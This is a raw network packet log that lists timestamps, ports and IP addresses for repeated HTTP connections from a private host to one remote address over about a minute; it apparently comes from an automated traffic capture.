Nov 30, 2022 00:55:06.760387897 CET	49728	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:06.831724882 CET	80	49728	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:06.989644051 CET	49729	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:07.060533047 CET	80	49729	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:07.060817003 CET	49729	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:07.068053961 CET	49729	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:07.139190912 CET	80	49729	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:07.142729998 CET	49729	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:07.213907003 CET	80	49729	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:08.539654016 CET	80	49729	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:08.539772987 CET	49729	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:08.539851904 CET	49729	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:08.610599041 CET	80	49729	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:08.755198956 CET	49730	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:08.818732023 CET	80	49730	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:08.818875074 CET	49730	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:08.823724985 CET	49730	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:08.887221098 CET	80	49730	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:08.887696981 CET	49730	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:08.952023983 CET	80	49730	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:10.337694883 CET	80	49730	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:10.338476896 CET	49730	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:10.338607073 CET	49730	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:10.402264118 CET	80	49730	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:10.566430092 CET	49731	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:10.630012035 CET	80	49731	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:10.630254030 CET	49731	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:10.632750988 CET	49731	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:10.696681976 CET	80	49731	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:10.697035074 CET	49731	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:10.760850906 CET	80	49731	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:12.166821003 CET	80	49731	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:12.166995049 CET	49731	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:12.166995049 CET	49731	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:12.230671883 CET	80	49731	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:12.397857904 CET	49732	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:12.454653978 CET	80	49732	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:12.454866886 CET	49732	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:12.457820892 CET	49732	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:12.515181065 CET	80	49732	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:12.519223928 CET	49732	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:12.576708078 CET	80	49732	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:13.950021982 CET	80	49732	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:13.950387955 CET	49732	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:13.951273918 CET	49732	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:14.008239985 CET	80	49732	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:14.185133934 CET	49733	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:14.241457939 CET	80	49733	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:14.241565943 CET	49733	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:14.244291067 CET	49733	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:14.300695896 CET	80	49733	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:14.300803900 CET	49733	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:14.356933117 CET	80	49733	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:15.751744032 CET	80	49733	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:15.755505085 CET	49733	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:15.755600929 CET	49733	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:15.812007904 CET	80	49733	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:16.004370928 CET	49734	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:16.061487913 CET	80	49734	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:16.063473940 CET	49734	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:16.065951109 CET	49734	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:16.122412920 CET	80	49734	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:16.123481035 CET	49734	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:16.180047989 CET	80	49734	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:17.565495014 CET	80	49734	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:17.565593004 CET	49734	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:17.565663099 CET	49734	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:17.622051001 CET	80	49734	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:17.802988052 CET	49735	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:17.859404087 CET	80	49735	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:17.859607935 CET	49735	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:17.863853931 CET	49735	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:17.920332909 CET	80	49735	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:17.920523882 CET	49735	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:17.976902008 CET	80	49735	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:19.347023010 CET	80	49735	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:19.347120047 CET	49735	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:19.347496986 CET	49735	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:19.403734922 CET	80	49735	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:19.583940029 CET	49736	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:19.640748024 CET	80	49736	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:19.640861988 CET	49736	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:19.643476009 CET	49736	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:19.700324059 CET	80	49736	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:19.700479031 CET	49736	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:19.757318020 CET	80	49736	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:21.118366957 CET	80	49736	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:21.118597984 CET	49736	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:21.235958099 CET	49736	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:21.292860031 CET	80	49736	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:21.548213959 CET	49737	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:21.611660957 CET	80	49737	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:21.611757994 CET	49737	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:21.614295959 CET	49737	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:21.677872896 CET	80	49737	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:21.678060055 CET	49737	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:21.741621017 CET	80	49737	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:23.147008896 CET	80	49737	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:23.147200108 CET	49737	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:23.150054932 CET	49737	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:23.213816881 CET	80	49737	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:23.390598059 CET	49738	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:23.447422981 CET	80	49738	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:23.447587013 CET	49738	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:23.450512886 CET	49738	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:23.507425070 CET	80	49738	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:23.507752895 CET	49738	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:23.564448118 CET	80	49738	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:24.982215881 CET	80	49738	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:24.982362986 CET	49738	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:24.982462883 CET	49738	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:25.039313078 CET	80	49738	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:25.207818985 CET	49739	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:25.264349937 CET	80	49739	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:25.264487028 CET	49739	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:25.267085075 CET	49739	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:25.324078083 CET	80	49739	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:25.324280977 CET	49739	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:25.380676985 CET	80	49739	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:26.908255100 CET	80	49739	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:26.908451080 CET	49739	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:26.908452034 CET	49739	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:26.965130091 CET	80	49739	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:27.123436928 CET	49740	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:27.187022924 CET	80	49740	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:27.187329054 CET	49740	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:27.193434000 CET	49740	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:27.257107019 CET	80	49740	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:27.257441998 CET	49740	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:27.321250916 CET	80	49740	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:28.902821064 CET	80	49740	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:28.903115034 CET	49740	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:28.903115034 CET	49740	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:28.966690063 CET	80	49740	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:29.181029081 CET	49741	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:29.244118929 CET	80	49741	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:29.244323015 CET	49741	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:29.247108936 CET	49741	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:29.310338974 CET	80	49741	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:29.312683105 CET	49741	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:29.376096964 CET	80	49741	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:30.821604013 CET	80	49741	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:30.821768045 CET	49741	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:30.821768045 CET	49741	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:30.885057926 CET	80	49741	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:31.041150093 CET	49742	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:31.098012924 CET	80	49742	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:31.098140955 CET	49742	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:31.101063967 CET	49742	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:31.158945084 CET	80	49742	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:31.159028053 CET	49742	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:31.215954065 CET	80	49742	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:32.668199062 CET	80	49742	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:32.668359041 CET	49742	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:32.668557882 CET	49742	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:32.725229979 CET	80	49742	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:32.891294956 CET	49743	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:32.955029964 CET	80	49743	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:32.955296993 CET	49743	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:32.962708950 CET	49743	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:33.026671886 CET	80	49743	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:33.026784897 CET	49743	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:33.090379953 CET	80	49743	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:34.122250080 CET	80	49743	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:34.122378111 CET	49743	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:34.122379065 CET	49743	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:34.186547995 CET	80	49743	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:34.336832047 CET	49744	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:34.393754959 CET	80	49744	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:34.394207001 CET	49744	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:34.401350975 CET	49744	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:34.458348989 CET	80	49744	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:34.458682060 CET	49744	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:34.515522957 CET	80	49744	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:36.086250067 CET	80	49744	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:36.086574078 CET	49744	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:36.086646080 CET	49744	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:36.143685102 CET	80	49744	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:36.305556059 CET	49745	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:36.369642019 CET	80	49745	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:36.370085955 CET	49745	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:36.377571106 CET	49745	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:36.441842079 CET	80	49745	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:36.442002058 CET	49745	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:36.506124020 CET	80	49745	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:37.973570108 CET	80	49745	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:37.977447033 CET	49745	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:37.994298935 CET	49745	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:38.058605909 CET	80	49745	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:38.215667009 CET	49746	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:38.272118092 CET	80	49746	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:38.272234917 CET	49746	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:38.275173903 CET	49746	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:38.331401110 CET	80	49746	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:38.333534956 CET	49746	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:38.390136957 CET	80	49746	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:39.906968117 CET	80	49746	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:39.907114983 CET	49746	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:39.907172918 CET	49746	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:39.963509083 CET	80	49746	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:40.151000023 CET	49747	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:40.207727909 CET	80	49747	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:40.207912922 CET	49747	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:40.214632988 CET	49747	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:40.271559000 CET	80	49747	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:40.271949053 CET	49747	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:40.328738928 CET	80	49747	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:41.771804094 CET	80	49747	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:41.772068977 CET	49747	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:41.772069931 CET	49747	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:41.828773022 CET	80	49747	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:42.022281885 CET	49748	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:42.087943077 CET	80	49748	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:42.088301897 CET	49748	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:42.098366976 CET	49748	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:42.164235115 CET	80	49748	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:42.166110039 CET	49748	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:42.232266903 CET	80	49748	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:43.661912918 CET	80	49748	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:43.662535906 CET	49748	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:43.664011002 CET	49748	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:43.729532957 CET	80	49748	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:43.916825056 CET	49749	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:43.973140001 CET	80	49749	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:43.973423958 CET	49749	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:43.976237059 CET	49749	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:44.032557964 CET	80	49749	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:44.034007072 CET	49749	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:44.090533018 CET	80	49749	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:45.483573914 CET	80	49749	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:45.483691931 CET	49749	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:45.483772993 CET	49749	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:45.540266037 CET	80	49749	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:45.696420908 CET	49750	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:45.753129959 CET	80	49750	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:45.753353119 CET	49750	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:45.758418083 CET	49750	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:45.815217972 CET	80	49750	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:45.815349102 CET	49750	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:45.872066975 CET	80	49750	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:46.963833094 CET	80	49750	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:46.966191053 CET	49750	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:46.966192007 CET	49750	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:47.023200035 CET	80	49750	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:47.199429989 CET	49751	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:47.270355940 CET	80	49751	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:47.274290085 CET	49751	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:47.279515028 CET	49751	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:47.352221012 CET	80	49751	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:47.352607965 CET	49751	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:47.423551083 CET	80	49751	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:49.068855047 CET	80	49751	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:49.069000959 CET	49751	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:49.069001913 CET	49751	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:49.139884949 CET	80	49751	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:49.310100079 CET	49752	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:49.374298096 CET	80	49752	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:49.376203060 CET	49752	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:49.378987074 CET	49752	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:49.443128109 CET	80	49752	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:49.446521044 CET	49752	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:49.510756016 CET	80	49752	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:50.930381060 CET	80	49752	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:50.930756092 CET	49752	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:50.930757046 CET	49752	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:50.995115995 CET	80	49752	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:51.174263954 CET	49753	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:51.231029034 CET	80	49753	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:51.231292009 CET	49753	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:51.242717028 CET	49753	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:51.299602032 CET	80	49753	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:51.299818039 CET	49753	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:51.356714964 CET	80	49753	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:52.887247086 CET	80	49753	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:52.887528896 CET	49753	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:52.887574911 CET	49753	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:52.945564032 CET	80	49753	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:53.413743973 CET	49754	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:53.470174074 CET	80	49754	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:53.470912933 CET	49754	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:53.496269941 CET	49754	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:53.552856922 CET	80	49754	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:53.554918051 CET	49754	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:53.611341953 CET	80	49754	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:55.161061049 CET	80	49754	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:55.161240101 CET	49754	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:55.161240101 CET	49754	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:55.217797995 CET	80	49754	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:55.587070942 CET	49755	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:55.650820971 CET	80	49755	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:55.650958061 CET	49755	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:55.653974056 CET	49755	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:55.717514992 CET	80	49755	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:55.717783928 CET	49755	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:55.781785011 CET	80	49755	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:57.270721912 CET	80	49755	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:57.271272898 CET	49755	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:57.273473024 CET	49755	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:57.337918997 CET	80	49755	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:57.465915918 CET	49756	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:57.529999018 CET	80	49756	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:57.530544996 CET	49756	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:57.533679962 CET	49756	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:57.597755909 CET	80	49756	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:57.599260092 CET	49756	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:57.663528919 CET	80	49756	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:58.723098993 CET	80	49756	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:58.723207951 CET	49756	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:58.723279953 CET	49756	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:58.788446903 CET	80	49756	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:58.887741089 CET	49757	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:58.946193933 CET	80	49757	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:58.946315050 CET	49757	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:58.948900938 CET	49757	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:59.005773067 CET	80	49757	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:59.005871058 CET	49757	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:59.065747976 CET	80	49757	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:59.773200035 CET	80	49757	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:59.779139042 CET	49757	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:59.779177904 CET	49757	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:59.835975885 CET	80	49757	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:59.959078074 CET	49758	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:56:00.022310019 CET	80	49758	95.213.216.202	192.168.2.3
Nov 30, 2022 00:56:00.022512913 CET	49758	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:56:00.034214020 CET	49758	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:56:00.097515106 CET	80	49758	95.213.216.202	192.168.2.3
Nov 30, 2022 00:56:00.097791910 CET	49758	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:56:00.161053896 CET	80	49758	95.213.216.202	192.168.2.3
Nov 30, 2022 00:56:00.797030926 CET	80	49758	95.213.216.202	192.168.2.3
Nov 30, 2022 00:56:00.797266006 CET	49758	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:56:00.797266006 CET	49758	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:56:00.860564947 CET	80	49758	95.213.216.202	192.168.2.3
Nov 30, 2022 00:56:00.980782986 CET	49759	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:56:01.037372112 CET	80	49759	95.213.216.202	192.168.2.3
Nov 30, 2022 00:56:01.037604094 CET	49759	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:56:01.042443991 CET	49759	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:56:01.098797083 CET	80	49759	95.213.216.202	192.168.2.3
Nov 30, 2022 00:56:01.099145889 CET	49759	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:56:01.155508995 CET	80	49759	95.213.216.202	192.168.2.3
Nov 30, 2022 00:56:01.793951035 CET	80	49759	95.213.216.202	192.168.2.3
